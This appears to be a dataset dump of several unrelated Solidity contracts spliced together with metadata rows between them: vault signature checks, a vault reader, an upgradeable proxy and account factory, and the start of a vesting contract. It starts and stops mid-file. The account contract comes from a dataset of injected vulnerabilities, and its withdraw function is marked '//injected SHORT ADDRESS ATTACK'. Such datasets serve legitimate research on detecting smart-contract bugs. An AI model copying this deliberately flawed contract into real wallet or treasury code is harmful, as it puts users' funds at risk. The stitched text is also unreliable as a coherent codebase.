function ecrecoverOrder(Order memory order,uint signType) public pure returns (bytes32 orderHash) {
if(signType == 0)
{
orderHash = keccak256(abi.encode(ORDER_TYPEHASH,
order.token,order.baseToken,order.tokenAmount,order.baseTokenAmount,order.nonce,order.sell,order.expireTime,order.maxGasFee,order.gasToken,order.timestamp));
if (ecrecover(keccak256(abi.encodePacked("\x19\x01",DOMAIN_SEPARATOR,orderHash)),order.V,order.R, order.S) != order.user) {
revert(ECRECOVER_FAILED);
}
}else {
orderHash = keccak256(abi.encodePacked(order.token,order.baseToken,order.tokenAmount,order.baseTokenAmount,order.nonce,order.sell,order.expireTime,order.maxGasFee,order.gasToken,order.timestamp));
if(ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",orderHash)),order.V,order.R, order.S) != order.user) {
revert(ECRECOVER_FAILED);
}
}
}
function ecrecoverWithdraw(address from,address payable to,address token,uint256 amount,uint256 nonce,uint8 v,bytes32[2] memory rs,
address feeToken,uint256 feeWithdrawal,uint timestamp,uint signType) public pure returns (bytes32 orderHash) {
if(signType == 1) {
orderHash = keccak256(abi.encodePacked(token, amount, to, nonce,feeToken,feeWithdrawal,timestamp));
if (ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash)), v, rs[0], rs[1]) != from) {
revert(ECRECOVER_FAILED);
}
} else {
orderHash = keccak256(abi.encode(WITHDRAW_TYPEHASH,token, amount, to, nonce,feeToken,feeWithdrawal,timestamp));
if (ecrecover(keccak256(abi.encodePacked("\x19\x01",DOMAIN_SEPARATOR,orderHash)), v, rs[0], rs[1]) != from) {
revert(ECRECOVER_FAILED);
}
}
}
function _burnGas(uint gasUsed) internal {
if(_gasStorage == address(0x0)){
return;
}
IGasStorage(_gasStorage).burn(gasUsed);
}
}
| 184,527 | 327 |
ad0f2eb561132cc0690b44b2ba36265a163440996f485c61c77181b5634ce7ac
| 14,516 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/f6/f6e65e5c7fa64C293A04Ab7e24Ca2cE4923F28A3_VaultReader.sol
| 3,685 | 14,125 |
pragma solidity 0.6.12;
interface IVaultUtils {
function updateCumulativeFundingRate(address _collateralToken, address _indexToken) external returns (bool);
function validateIncreasePosition(address _account, address _collateralToken, address _indexToken, uint256 _sizeDelta, bool _isLong) external view;
function validateDecreasePosition(address _account, address _collateralToken, address _indexToken, uint256 _collateralDelta, uint256 _sizeDelta, bool _isLong, address _receiver) external view;
function validateLiquidation(address _account, address _collateralToken, address _indexToken, bool _isLong, bool _raise) external view returns (uint256, uint256);
function getEntryFundingRate(address _collateralToken, address _indexToken, bool _isLong) external view returns (uint256);
function getPositionFee(address _account, address _collateralToken, address _indexToken, bool _isLong, uint256 _sizeDelta) external view returns (uint256);
function getFundingFee(address _account, address _collateralToken, address _indexToken, bool _isLong, uint256 _size, uint256 _entryFundingRate) external view returns (uint256);
function getBuyUsdgFeeBasisPoints(address _token, uint256 _usdgAmount) external view returns (uint256);
function getSellUsdgFeeBasisPoints(address _token, uint256 _usdgAmount) external view returns (uint256);
function getSwapFeeBasisPoints(address _tokenIn, address _tokenOut, uint256 _usdgAmount) external view returns (uint256);
function getFeeBasisPoints(address _token, uint256 _usdgDelta, uint256 _feeBasisPoints, uint256 _taxBasisPoints, bool _increment) external view returns (uint256);
}
interface IVault {
function isInitialized() external view returns (bool);
function isSwapEnabled() external view returns (bool);
function isLeverageEnabled() external view returns (bool);
function setVaultUtils(IVaultUtils _vaultUtils) external;
function setError(uint256 _errorCode, string calldata _error) external;
function router() external view returns (address);
function usdg() external view returns (address);
function gov() external view returns (address);
function whitelistedTokenCount() external view returns (uint256);
function maxLeverage() external view returns (uint256);
function minProfitTime() external view returns (uint256);
function hasDynamicFees() external view returns (bool);
function fundingInterval() external view returns (uint256);
function totalTokenWeights() external view returns (uint256);
function getTargetUsdgAmount(address _token) external view returns (uint256);
function inManagerMode() external view returns (bool);
function inPrivateLiquidationMode() external view returns (bool);
function maxGasPrice() external view returns (uint256);
function approvedRouters(address _account, address _router) external view returns (bool);
function isLiquidator(address _account) external view returns (bool);
function isManager(address _account) external view returns (bool);
function minProfitBasisPoints(address _token) external view returns (uint256);
function tokenBalances(address _token) external view returns (uint256);
function lastFundingTimes(address _token) external view returns (uint256);
function setMaxLeverage(uint256 _maxLeverage) external;
function setInManagerMode(bool _inManagerMode) external;
function setManager(address _manager, bool _isManager) external;
function setIsSwapEnabled(bool _isSwapEnabled) external;
function setIsLeverageEnabled(bool _isLeverageEnabled) external;
function setMaxGasPrice(uint256 _maxGasPrice) external;
function setUsdgAmount(address _token, uint256 _amount) external;
function setBufferAmount(address _token, uint256 _amount) external;
function setMaxGlobalShortSize(address _token, uint256 _amount) external;
function setInPrivateLiquidationMode(bool _inPrivateLiquidationMode) external;
function setLiquidator(address _liquidator, bool _isActive) external;
function setFundingRate(uint256 _fundingInterval, uint256 _fundingRateFactor, uint256 _stableFundingRateFactor) external;
function setFees(uint256 _taxBasisPoints,
uint256 _stableTaxBasisPoints,
uint256 _mintBurnFeeBasisPoints,
uint256 _swapFeeBasisPoints,
uint256 _stableSwapFeeBasisPoints,
uint256 _marginFeeBasisPoints,
uint256 _liquidationFeeUsd,
uint256 _minProfitTime,
bool _hasDynamicFees) external;
function setTokenConfig(address _token,
uint256 _tokenDecimals,
uint256 _redemptionBps,
uint256 _minProfitBps,
uint256 _maxUsdgAmount,
bool _isStable,
bool _isShortable) external;
function setPriceFeed(address _priceFeed) external;
function withdrawFees(address _token, address _receiver) external returns (uint256);
function directPoolDeposit(address _token) external;
function buyUSDG(address _token, address _receiver) external returns (uint256);
function sellUSDG(address _token, address _receiver) external returns (uint256);
function swap(address _tokenIn, address _tokenOut, address _receiver) external returns (uint256);
function increasePosition(address _account, address _collateralToken, address _indexToken, uint256 _sizeDelta, bool _isLong) external;
function decreasePosition(address _account, address _collateralToken, address _indexToken, uint256 _collateralDelta, uint256 _sizeDelta, bool _isLong, address _receiver) external returns (uint256);
function validateLiquidation(address _account, address _collateralToken, address _indexToken, bool _isLong, bool _raise) external view returns (uint256, uint256);
function liquidatePosition(address _account, address _collateralToken, address _indexToken, bool _isLong, address _feeReceiver) external;
function tokenToUsdMin(address _token, uint256 _tokenAmount) external view returns (uint256);
function priceFeed() external view returns (address);
function fundingRateFactor() external view returns (uint256);
function stableFundingRateFactor() external view returns (uint256);
function cumulativeFundingRates(address _token) external view returns (uint256);
function getNextFundingRate(address _token) external view returns (uint256);
function getFeeBasisPoints(address _token, uint256 _usdgDelta, uint256 _feeBasisPoints, uint256 _taxBasisPoints, bool _increment) external view returns (uint256);
function liquidationFeeUsd() external view returns (uint256);
function taxBasisPoints() external view returns (uint256);
function stableTaxBasisPoints() external view returns (uint256);
function mintBurnFeeBasisPoints() external view returns (uint256);
function swapFeeBasisPoints() external view returns (uint256);
function stableSwapFeeBasisPoints() external view returns (uint256);
function marginFeeBasisPoints() external view returns (uint256);
function allWhitelistedTokensLength() external view returns (uint256);
function allWhitelistedTokens(uint256) external view returns (address);
function whitelistedTokens(address _token) external view returns (bool);
function stableTokens(address _token) external view returns (bool);
function shortableTokens(address _token) external view returns (bool);
function feeReserves(address _token) external view returns (uint256);
function globalShortSizes(address _token) external view returns (uint256);
function globalShortAveragePrices(address _token) external view returns (uint256);
function maxGlobalShortSizes(address _token) external view returns (uint256);
function tokenDecimals(address _token) external view returns (uint256);
function tokenWeights(address _token) external view returns (uint256);
function guaranteedUsd(address _token) external view returns (uint256);
function poolAmounts(address _token) external view returns (uint256);
function bufferAmounts(address _token) external view returns (uint256);
function reservedAmounts(address _token) external view returns (uint256);
function usdgAmounts(address _token) external view returns (uint256);
function maxUsdgAmounts(address _token) external view returns (uint256);
function getRedemptionAmount(address _token, uint256 _usdgAmount) external view returns (uint256);
function getMaxPrice(address _token) external view returns (uint256);
function getMinPrice(address _token) external view returns (uint256);
function getDelta(address _indexToken, uint256 _size, uint256 _averagePrice, bool _isLong, uint256 _lastIncreasedTime) external view returns (bool, uint256);
function getPosition(address _account, address _collateralToken, address _indexToken, bool _isLong) external view returns (uint256, uint256, uint256, uint256, uint256, uint256, bool, uint256);
}
interface IVaultPriceFeed {
function adjustmentBasisPoints(address _token) external view returns (uint256);
function isAdjustmentAdditive(address _token) external view returns (bool);
function setAdjustment(address _token, bool _isAdditive, uint256 _adjustmentBps) external;
function setUseV2Pricing(bool _useV2Pricing) external;
function setIsAmmEnabled(bool _isEnabled) external;
function setIsSecondaryPriceEnabled(bool _isEnabled) external;
function setSpreadBasisPoints(address _token, uint256 _spreadBasisPoints) external;
function setSpreadThresholdBasisPoints(uint256 _spreadThresholdBasisPoints) external;
function setFavorPrimaryPrice(bool _favorPrimaryPrice) external;
function setPriceSampleSpace(uint256 _priceSampleSpace) external;
function setMaxStrictPriceDeviation(uint256 _maxStrictPriceDeviation) external;
function getPrice(address _token, bool _maximise, bool _includeAmmPrice, bool _useSwapPricing) external view returns (uint256);
function getAmmPrice(address _token) external view returns (uint256);
function getLatestPrimaryPrice(address _token) external view returns (uint256);
function getPrimaryPrice(address _token, bool _maximise) external view returns (uint256);
function setTokenConfig(address _token,
address _priceFeed,
uint256 _priceDecimals,
bool _isStrictStable) external;
}
interface IBasePositionManager {
function maxGlobalLongSizes(address _token) external view returns (uint256);
function maxGlobalShortSizes(address _token) external view returns (uint256);
}
contract VaultReader {
function getVaultTokenInfoV3(address _vault, address _positionManager, address _weth, uint256 _usdgAmount, address[] memory _tokens) public view returns (uint256[] memory) {
uint256 propsLength = 14;
IVault vault = IVault(_vault);
IVaultPriceFeed priceFeed = IVaultPriceFeed(vault.priceFeed());
IBasePositionManager positionManager = IBasePositionManager(_positionManager);
uint256[] memory amounts = new uint256[](_tokens.length * propsLength);
for (uint256 i = 0; i < _tokens.length; i++) {
address token = _tokens[i];
if (token == address(0)) {
token = _weth;
}
amounts[i * propsLength] = vault.poolAmounts(token);
amounts[i * propsLength + 1] = vault.reservedAmounts(token);
amounts[i * propsLength + 2] = vault.usdgAmounts(token);
amounts[i * propsLength + 3] = vault.getRedemptionAmount(token, _usdgAmount);
amounts[i * propsLength + 4] = vault.tokenWeights(token);
amounts[i * propsLength + 5] = vault.bufferAmounts(token);
amounts[i * propsLength + 6] = vault.maxUsdgAmounts(token);
amounts[i * propsLength + 7] = vault.globalShortSizes(token);
amounts[i * propsLength + 8] = positionManager.maxGlobalShortSizes(token);
amounts[i * propsLength + 9] = vault.getMinPrice(token);
amounts[i * propsLength + 10] = vault.getMaxPrice(token);
amounts[i * propsLength + 11] = vault.guaranteedUsd(token);
amounts[i * propsLength + 12] = priceFeed.getPrimaryPrice(token, false);
amounts[i * propsLength + 13] = priceFeed.getPrimaryPrice(token, true);
}
return amounts;
}
function getVaultTokenInfoV4(address _vault, address _positionManager, address _weth, uint256 _usdgAmount, address[] memory _tokens) public view returns (uint256[] memory) {
uint256 propsLength = 15;
IVault vault = IVault(_vault);
IVaultPriceFeed priceFeed = IVaultPriceFeed(vault.priceFeed());
IBasePositionManager positionManager = IBasePositionManager(_positionManager);
uint256[] memory amounts = new uint256[](_tokens.length * propsLength);
for (uint256 i = 0; i < _tokens.length; i++) {
address token = _tokens[i];
if (token == address(0)) {
token = _weth;
}
amounts[i * propsLength] = vault.poolAmounts(token);
amounts[i * propsLength + 1] = vault.reservedAmounts(token);
amounts[i * propsLength + 2] = vault.usdgAmounts(token);
amounts[i * propsLength + 3] = vault.getRedemptionAmount(token, _usdgAmount);
amounts[i * propsLength + 4] = vault.tokenWeights(token);
amounts[i * propsLength + 5] = vault.bufferAmounts(token);
amounts[i * propsLength + 6] = vault.maxUsdgAmounts(token);
amounts[i * propsLength + 7] = vault.globalShortSizes(token);
amounts[i * propsLength + 8] = positionManager.maxGlobalShortSizes(token);
amounts[i * propsLength + 9] = positionManager.maxGlobalLongSizes(token);
amounts[i * propsLength + 10] = vault.getMinPrice(token);
amounts[i * propsLength + 11] = vault.getMaxPrice(token);
amounts[i * propsLength + 12] = vault.guaranteedUsd(token);
amounts[i * propsLength + 13] = priceFeed.getPrimaryPrice(token, false);
amounts[i * propsLength + 14] = priceFeed.getPrimaryPrice(token, true);
}
return amounts;
}
}
| 325,333 | 328 |
80aa8f4ba1f8e24d87d536e152fa841c5bbe7fba63be3e9ec9bb8cd7d3c804f9
| 36,738 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/shortAddressAttack/0x7583a7a3852f742bBC66855F3502f1c512a0aD6E_shortAddressAttack.sol
| 4,426 | 17,216 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.8;
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
abstract contract Proxy {
receive () payable external {
_fallback();
}
fallback () payable external {
_fallback();
}
function _implementation() internal virtual view returns (address);
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
function _willFallback() internal virtual {
}
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
//
contract BaseUpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation),
"Implementation not set");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
emit Upgraded(newImplementation);
}
}
//
contract AdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
event AdminChanged(address previousAdmin, address newAdmin);
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
constructor(address _logic, address _admin) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
_setAdmin(_admin);
}
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address) {
return _admin();
}
function implementation() external ifAdmin returns (address) {
return _implementation();
}
function changeAdmin(address newAdmin) external ifAdmin {
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
function changeImplementation(address newImplementation) external ifAdmin {
_setImplementation(newImplementation);
}
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
//
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
//
contract Account is Initializable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event Withdrawn(address indexed tokenAddress, address indexed targetAddress, uint256 amount);
event Approved(address indexed tokenAddress, address indexed targetAddress, uint256 amount);
event Invoked(address indexed targetAddress, uint256 value, bytes data);
address public owner;
mapping(address => bool) public admins;
mapping(address => bool) public operators;
function initialize(address _owner, address[] memory _initialAdmins) public initializer {
owner = _owner;
// Grant the admin role to the initial admins
for (uint256 i = 0; i < _initialAdmins.length; i++) {
admins[_initialAdmins[i]] = true;
}
}
modifier onlyOperator() {
require(isOperator(msg.sender), "not operator");
_;
}
function transferOwnership(address _owner) public {
require(msg.sender == owner, "not owner");
owner = _owner;
}
function grantAdmin(address _account) public {
require(msg.sender == owner, "not owner");
require(!admins[_account], "already admin");
admins[_account] = true;
}
function revokeAdmin(address _account) public {
require(msg.sender == owner, "not owner");
require(admins[_account], "not admin");
admins[_account] = false;
}
function grantOperator(address _account) public {
require(msg.sender == owner || admins[msg.sender], "not admin");
require(!operators[_account], "already operator");
operators[_account] = true;
}
function revokeOperator(address _account) public {
require(msg.sender == owner || admins[msg.sender], "not admin");
require(operators[_account], "not operator");
operators[_account] = false;
}
receive() payable external {}
function isOperator(address userAddress) public view returns (bool) {
return userAddress == owner || admins[userAddress] || operators[userAddress];
}
function withdraw(address payable targetAddress, uint256 amount) public onlyOperator {
targetAddress.transfer(amount); //injected SHORT ADDRESS ATTACK
// Use address(-1) to represent ETH.
emit Withdrawn(address(-1), targetAddress, amount);
}
function withdrawToken(address tokenAddress, address targetAddress, uint256 amount) public onlyOperator {
IERC20(tokenAddress).safeTransfer(targetAddress, amount);
emit Withdrawn(tokenAddress, targetAddress, amount);
}
function withdrawTokenFallThrough(address tokenAddress, address targetAddress, uint256 amount) public onlyOperator {
uint256 tokenBalance = IERC20(tokenAddress).balanceOf(address(this));
// If we have enough token balance, send the token directly.
if (tokenBalance >= amount) {
IERC20(tokenAddress).safeTransfer(targetAddress, amount);
emit Withdrawn(tokenAddress, targetAddress, amount);
} else {
IERC20(tokenAddress).safeTransferFrom(owner, targetAddress, amount.sub(tokenBalance));
IERC20(tokenAddress).safeTransfer(targetAddress, tokenBalance);
emit Withdrawn(tokenAddress, targetAddress, amount);
}
}
function approveToken(address tokenAddress, address targetAddress, uint256 amount) public onlyOperator {
IERC20(tokenAddress).safeApprove(targetAddress, 0);
IERC20(tokenAddress).safeApprove(targetAddress, amount);
emit Approved(tokenAddress, targetAddress, amount);
}
function invoke(address target, uint256 value, bytes memory data) public onlyOperator returns (bytes memory result) {
bool success;
(success, result) = target.call{value: value}(data);
if (!success) {
// solhint-disable-next-line no-inline-assembly
assembly {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
emit Invoked(target, value, data);
}
}
//
contract AccountFactory {
event AccountCreated(address indexed userAddress, address indexed accountAddress);
address public governance;
address public accountBase;
mapping(address => address) public accounts;
constructor(address _accountBase) public {
require(_accountBase != address(0x0), "account base not set");
governance = msg.sender;
accountBase = _accountBase;
}
function setAccountBase(address _accountBase) public {
require(msg.sender == governance, "not governance");
require(_accountBase != address(0x0), "account base not set");
accountBase = _accountBase;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "not governance");
governance = _governance;
}
function createAccount(address[] memory _initialAdmins) public returns (Account) {
AdminUpgradeabilityProxy proxy = new AdminUpgradeabilityProxy(accountBase, msg.sender);
Account account = Account(address(proxy));
account.initialize(msg.sender, _initialAdmins);
accounts[msg.sender] = address(account);
emit AccountCreated(msg.sender, address(account));
return account;
}
}
| 278,470 | 329 |
4dd13ec887393f9564d6f8c3ad2cd984958cfe7e250722e09c2bd1d473aeb45f
| 37,661 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/63/63B045c2c53Eb7732341a96a496DF1Cf423E11bA_Vesting.sol
| 4,470 | 18,380 |
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.8.4;
// Part: OpenZeppelin/[emailprotected]/Address
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[emailprotected]/Context
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// Part: OpenZeppelin/[emailprotected]/IERC20
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[emailprotected]/IERC20Metadata
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// Part: OpenZeppelin/[emailprotected]/Ownable
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// Part: OpenZeppelin/[emailprotected]/SafeERC20
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
